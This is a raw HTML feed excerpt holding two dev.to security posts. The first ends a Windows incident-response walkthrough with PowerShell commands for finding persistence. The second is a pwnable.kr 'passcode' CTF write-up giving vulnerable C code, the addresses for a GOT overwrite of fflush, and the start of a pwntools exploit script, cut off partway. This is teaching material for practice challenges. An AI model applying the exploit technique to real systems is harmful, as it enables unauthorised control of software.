&lt;/span&gt;&lt;span class="n"&gt;systeminfo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;findstr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/B&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/C:&lt;/span&gt;&lt;span class="s2"&gt;"OS Name"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/C:&lt;/span&gt;&lt;span class="s2"&gt;"OS Version"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then go gather information about users and their login time:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;net users
net localgroup users
net localgroup administrators
net user &amp;lt;NAME&amp;gt; | findstr /B /C:"Last logon"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And some powershell magic for the latter part:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="kr"&gt;ForEach&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Get-LocalUser&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Lastlogon&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It is also possible to look in the Event Viewer and search manually for those login information. I did it, it awfully slow, too much noise and prone to errors. The Event Viewer is a really strong and powerful tool, but as long as you look for really quick information, Powershell seems to be enough.&lt;/p&gt;

&lt;p&gt;The next step, as it is to look for scheduled tasks that could link to persistence of some malwares.&lt;/p&gt;

&lt;p&gt;You can open the task scheduler manager (check &lt;a href="https://blog.malwarebytes.com/cybercrime/2015/03/scheduled-tasks/"&gt;this link&lt;/a&gt; for some information on how to use it in forensics) or try to go through the command line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Get-ScheduledTask&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# in the first box there are a bunch of suspicious files in "\"&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Get-ScheduledTask&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-TaskPath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"\"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-ScheduledTask&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-TaskPath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;NAME&amp;gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Get-ScheduledTaskInfo&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# check what kind of actions is ran for each task to find malicious scripts:&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Get-ScheduledTask&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-TaskPath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"\"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Property&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;TaskName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ExpandProperty&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Actions&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You should also look into AutoRuns at startup:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Get-CimInstance&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Win32_StartupCommand&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Select-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;command&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Format-List&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Attack context
&lt;/h2&gt;

&lt;p&gt;Now, you should have a general overview of the attack on those machines. Writing notes really helped me remembering the steps and from now I will do it each time. It's of utmost important to be really attentive to each details you see and try to get in the head of the attacker. Especially not to loose yourself in a rabbit hole of logs.&lt;/p&gt;

&lt;p&gt;You should have a general idea of the system you are in, the amount and levels of users, a potential time of infection and which user was breached. The scheduled tasks found are persistence. Check this files as well as the other files in that directory to answer further questions. You have a potential: what, when and how.&lt;/p&gt;

&lt;p&gt;You can look into logs with &lt;a href="https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-eventlog?view=powershell-5.1"&gt;Get-EventLogs&lt;/a&gt; (check that documentation, it rocks) and the information you gathered so far. I did the exercise again and I found it really hard to get there again without notes. I had to redo the entire thought process and it was quite painful. Especially as the first time, I got lucky and the second I got lost in the rabbit hole.&lt;/p&gt;

&lt;p&gt;From my beginner understanding, you should look for a specific pattern with your first clues and not just "something suspicious". Those are simple exercises and it's already easy to get lost in there.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check the available logs&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Get-Eventlogs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-List&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;Get-EventLog&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-LogName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Security"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-After&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"MM/DD/YYYY HH:MM:SS"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Before&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"MM/DD/YYYY HH:MM:SS"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Message&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"*Special*"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;Get-EventLog&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-LogName&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Security"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-After&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"MM/DD/YYYY HH:MM:SS"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Before&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"MM/DD/YYYY HH:MM:SS"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-InstanceId&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;4672&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Format-List&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Event ID 4672 is: &lt;a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4672"&gt;special privileges assigned to new logon&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;For network, check the host file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Get-Content&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="nn"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;SystemRoot&lt;/span&gt;&lt;span class="nx"&gt;\System32\Drivers\etc\hosts&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You can look with &lt;code&gt;netsh&lt;/code&gt; and &lt;code&gt;netstat&lt;/code&gt; for more information, but here it isn't useful so I won't get more into those.&lt;/p&gt;

&lt;h2&gt;
  
  
  Registry keys
&lt;/h2&gt;

&lt;p&gt;The &lt;a href="https://en.wikipedia.org/wiki/Windows_Registry"&gt;Windows Registry&lt;/a&gt; is a hierarchical database of system configuration. You will find there "keys" that set up the configuration. As here there is a user compromise, you might try to look for "HKCU" (&lt;code&gt;HKEY_CURRENT_USER&lt;/code&gt;) for modifications.&lt;/p&gt;

&lt;p&gt;You can filter the events like to those keys with the Process Monitor.&lt;/p&gt;

&lt;h2&gt;
  
  
  Windows Management Instrumentation (WMI)
&lt;/h2&gt;

&lt;p&gt;WMI "consists of a set of extensions to the Windows Driver Model that provides an operating system interface through which instrumented components provide information and notification." (&lt;a href="https://en.wikipedia.org/wiki/Windows_Management_Instrumentation"&gt;Wikipedia&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;I am so far not really familiar with those. But you can monitor those processes with &lt;a href="https://docs.microsoft.com/en-us/windows/win32/wmisdk/tracing-wmi-activity"&gt;this&lt;/a&gt; and &lt;a href="https://isc.sans.edu/forums/diary/Keep+an+Eye+on+Your+WMI+Logs/25012/"&gt;that&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;And for these exercises it should do the trick.&lt;/p&gt;

&lt;h2&gt;
  
  
  First stop
&lt;/h2&gt;

&lt;p&gt;Ok, so far, you've conducted most of the investigation and I think those resources will help you answer the majority of questions.&lt;/p&gt;

&lt;p&gt;For the Yara and Loki questions, you might want to refer to the &lt;a href="https://tryhackme.com/room/yara"&gt;Yara Room&lt;/a&gt;. It isn't too hard and most of the information are there.&lt;/p&gt;

&lt;p&gt;I tried to understand each of those tools or at least, feel comfortable in searching and working with those. I will be looking for automation scripts or write my own in the future.&lt;/p&gt;

&lt;p&gt;I hope you enjoyed these notes and I'll get to the 3rd box right away!&lt;/p&gt;

</description>
      <category>security</category>
    </item>
    <item>
      <title>Pwnable.kr - Passcode: Write-up</title>
      <dc:creator>chris</dc:creator>
      <pubDate>Fri, 19 Feb 2021 16:19:40 +0000</pubDate>
      <link>https://dev.to/evilcel3ri/pwnable-kr-passcode-write-up-36gj</link>
      <guid>https://dev.to/evilcel3ri/pwnable-kr-passcode-write-up-36gj</guid>
      <description>&lt;h1&gt;
  
  
  Finding the problem
&lt;/h1&gt;

&lt;p&gt;First let's look at the code that we have.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Toddler's Secure Login System 1.0 beta.&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;welcome&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="c1"&gt;// something after login...&lt;/span&gt;
    &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Now I can safely trust you that you have credential :)&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;main()&lt;/code&gt; function will call two other functions: &lt;code&gt;welcome()&lt;/code&gt; and &lt;code&gt;login()&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;welcome&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"enter you name : "&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;scanf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%100s"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Welcome %s!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;welcome()&lt;/code&gt; will get your name in a 100 bytes buffer and reprint it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;login&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;passcode1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;passcode2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"enter passcode1 : "&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;scanf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%d"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;passcode1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;fflush&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stdin&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="c1"&gt;// ha! mommy told me that 32bit is vulnerable to bruteforcing :)&lt;/span&gt;
    &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"enter passcode2 : "&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;scanf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%d"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;passcode2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"checking...&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;passcode1&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;338150&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;passcode2&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;13371337&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Login OK!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/bin/cat flag"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Login Failed!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;login()&lt;/code&gt; will ask you to enter two passcodes and if those are good, will display the flag.&lt;/p&gt;

&lt;p&gt;When testing the application, we get a segmentation fault when test is called.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--cJSK5Q4e--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/g4yrs8irb5pgapzogmil.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--cJSK5Q4e--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/g4yrs8irb5pgapzogmil.png" alt="Simple test and a segfault"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So there seems to be something wrong with the line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;passcode1&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;338150&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;passcode2&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;13371337&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When opening the code in my Neovim, I also have a warning on the &lt;code&gt;scanf&lt;/code&gt; lines for &lt;code&gt;login()&lt;/code&gt; that the format specifies &lt;code&gt;int *&lt;/code&gt; but the argument is &lt;code&gt;int&lt;/code&gt;. This means that instead of calling the address and getting the value from it, the code passes &lt;code&gt;passcode1&lt;/code&gt; and &lt;code&gt;passcode2&lt;/code&gt; as addresses. Which could be the reason of our segmentation fault.&lt;/p&gt;

&lt;h1&gt;
  
  
  Debugging the binary
&lt;/h1&gt;

&lt;p&gt;Let's open our debugger:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rz &lt;span class="nt"&gt;-d&lt;/span&gt; passcode
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's look at &lt;code&gt;login()&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--83sv7BGk--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zwd5v1easgewoa5xardx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--83sv7BGk--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zwd5v1easgewoa5xardx.png" alt="Assembly for the login function"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can see that the &lt;code&gt;passcode1&lt;/code&gt; and &lt;code&gt;passcode2&lt;/code&gt; are stored int32 variables. But the lines &lt;code&gt;cmp dword [var_10h], 0x528e6&lt;/code&gt; and &lt;code&gt;cmp dword [var_ch], 0xcc07c9&lt;/code&gt; will compare the addresses and not the value.&lt;/p&gt;

&lt;p&gt;Now let's look at &lt;code&gt;welcome()&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--5hmKU7Y_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/sls1z0cd53fletladj99.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--5hmKU7Y_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/sls1z0cd53fletladj99.png" alt="Assembly for the welcome function"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It is possible to see that on how the values are stored. In &lt;code&gt;welcome()&lt;/code&gt;, the name you entered is stored in &lt;code&gt;var_70h&lt;/code&gt; which is then called with &lt;code&gt;lea&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In &lt;code&gt;login()&lt;/code&gt;, no signs of &lt;code&gt;lea&lt;/code&gt; but the variables are directly called with &lt;code&gt;mov&lt;/code&gt;. So what's the difference? &lt;code&gt;lea&lt;/code&gt; stands for "load effective address" while &lt;code&gt;mov&lt;/code&gt; will only move an address to a register. This corroborates our theory that the variables are not seen as variables with a pointer but as addresses which leads us to the bug. Indeed, the code tries to load the address &lt;code&gt;passcode1&lt;/code&gt; and &lt;code&gt;passcode2&lt;/code&gt; which obviously do not exist.&lt;/p&gt;

&lt;h1&gt;
  
  
  Exploit
&lt;/h1&gt;

&lt;p&gt;How could we have access to the memory to run malicious payload? My first idea would be to put the payload when we are prompted with the name. But this variable is not called in &lt;code&gt;login()&lt;/code&gt; which prevents us to get to that section. However, there is the &lt;code&gt;fflush()&lt;/code&gt; command in &lt;code&gt;login()&lt;/code&gt;. &lt;code&gt;fflush()&lt;/code&gt; is a imported function, that means that it is loaded when the binary is started. This means that maybe we could hijack the code here (See &lt;a href="https://github.com/Naetw/CTF-pwn-tips"&gt;this&lt;/a&gt;) and overwrite with our own payload. It would also work as &lt;code&gt;fflush()&lt;/code&gt; has a &lt;code&gt;jmp&lt;/code&gt; instruction.&lt;/p&gt;

&lt;p&gt;So something like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Getting at the end of the buffer&lt;/li&gt;
&lt;li&gt;Setting the address of fflush to get the &lt;code&gt;jmp&lt;/code&gt; (0x804a004) and getting the control or EIP.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;jmp&lt;/code&gt; to the system call printing the flag (0x080485ea)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I spent some time tricking the formats around until it worked. I am not sure why the second address must be in numerical and not hex, but eh... It worked. Also, it's important to have the second reception call as &lt;code&gt;recvall()&lt;/code&gt; and not &lt;code&gt;recvline()&lt;/code&gt; and the output we want is later on in the process. I spent days reviewing my exploit code and forgetting about that part. &lt;/p&gt;

&lt;p&gt;So here is the local exploit code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;pwn&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;

&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arch&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"i386"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"linux"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ELF&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"./passcode"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s"&gt;"A"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;96&lt;/span&gt;
